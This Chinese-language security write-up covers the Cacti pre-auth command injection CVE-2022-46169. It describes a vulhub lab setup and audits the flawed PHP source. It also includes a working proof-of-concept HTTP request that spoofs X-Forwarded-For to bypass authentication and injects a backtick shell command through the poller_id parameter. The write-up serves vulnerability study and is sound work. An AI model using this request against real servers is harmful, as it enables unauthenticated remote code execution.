Cacti 前台命令注入漏洞(CVE-2022-46169)
一、漏洞概述
Cacti 作为开源监控框架,在特定版本中存在严重的命令注入漏洞。未经身份验证的攻击者可通过构造恶意请求,绕过身份验证并在服务器上执行任意代码,风险等级极高1。该漏洞的核心在于 remote_agent.php
文件中存在身份验证绕过与命令注入的双重缺陷,本文将结合源代码进行深度剖析。
二、漏洞环境搭建
复现该漏洞需准备以下环境与工具:
- 操作系统:Linux(基于 vulhub 平台部署)
- 辅助工具:burpsuite 抓包工具
- 漏洞镜像:CVE-2022-46169 对应版本的 Cacti 镜像
搭建步骤
- 拉取并部署漏洞环境
cd vulhub-master/Cacti/CVE-2022-46169/ docker-compose up -d
- 访问
http://ip:port
,使用默认账户密码(admin/admin)完成初始化安装
三、漏洞验证 POC
以下 HTTP 请求可用于验证漏洞存在:
GET /remote_agent.php?action=polldata&local_data_ids[0]=6&host_id=1&poller_id=`touch+/tmp/success` HTTP/1.1
X-Forwarded-For: 127.0.0.1
Host: 192.168.20.150:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/137.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Connection: keep-alive
执行后可在服务器 /tmp
目录下生成 success
文件,证明命令注入成功
四、源代码深度审计
1. 身份验证绕过原理
remote_agent.php
的核心验证逻辑位于 remote_client_authorized()
函数,其代码逻辑如下:
function remote_client_authorized() {$client_addr = get_client_addr();$client_name = gethostbyaddr($client_addr);$pollers = db_fetch_assoc('SELECT * FROM poller', true, $poller_db_cnn_id);foreach($pollers as $poller) {if (remote_agent_strip_domain($poller['hostname']) == $client_name || $poller['hostname'] == $client_addr) {return true;}}return false;
}
- 绕过技巧:通过构造
X-Forwarded-For: 127.0.0.1
请求头,使$client_addr
被识别为本地 IP
- 关键缺陷:系统对本地 IP 的信任机制导致验证被绕过,当
$client_addr
为127.0.0.1
时直接通过主机名校验
2. 命令注入代码分析
命令注入点位于 poll_for_data()
函数的 POLLER_ACTION_SCRIPT_PHP
分支:
case POLLER_ACTION_SCRIPT_PHP:$cactiphp = proc_open(read_config_option('path_php_binary') . ' -q ' . $config['base_path'] . '/script_server.php realtime ' . $poller_id, $cactides, $pipes);
- 参数传递链:
$poller_id
由get_nfilter_request_var('poller_id')
获取,该函数未对输入做严格过滤 - 执行机制:
proc_open()
函数直接拼接$poller_id
并执行系统命令,导致注入代码被执行 - 触发条件:需通过
action=polldata
参数调用poll_for_data()
函数,同时满足local_data_ids
和host_id
参数的有效性
3. 漏洞触发完整流程
- 攻击者构造包含
X-Forwarded-For: 127.0.0.1
的请求头,绕过remote_client_authorized()
验证 - 通过
action=polldata
参数调用poll_for_data()
函数 - 在
$poller_id
参数中注入恶意命令(如touch /tmp/success
) - 系统通过
proc_open()
执行包含恶意命令的代码,完成攻击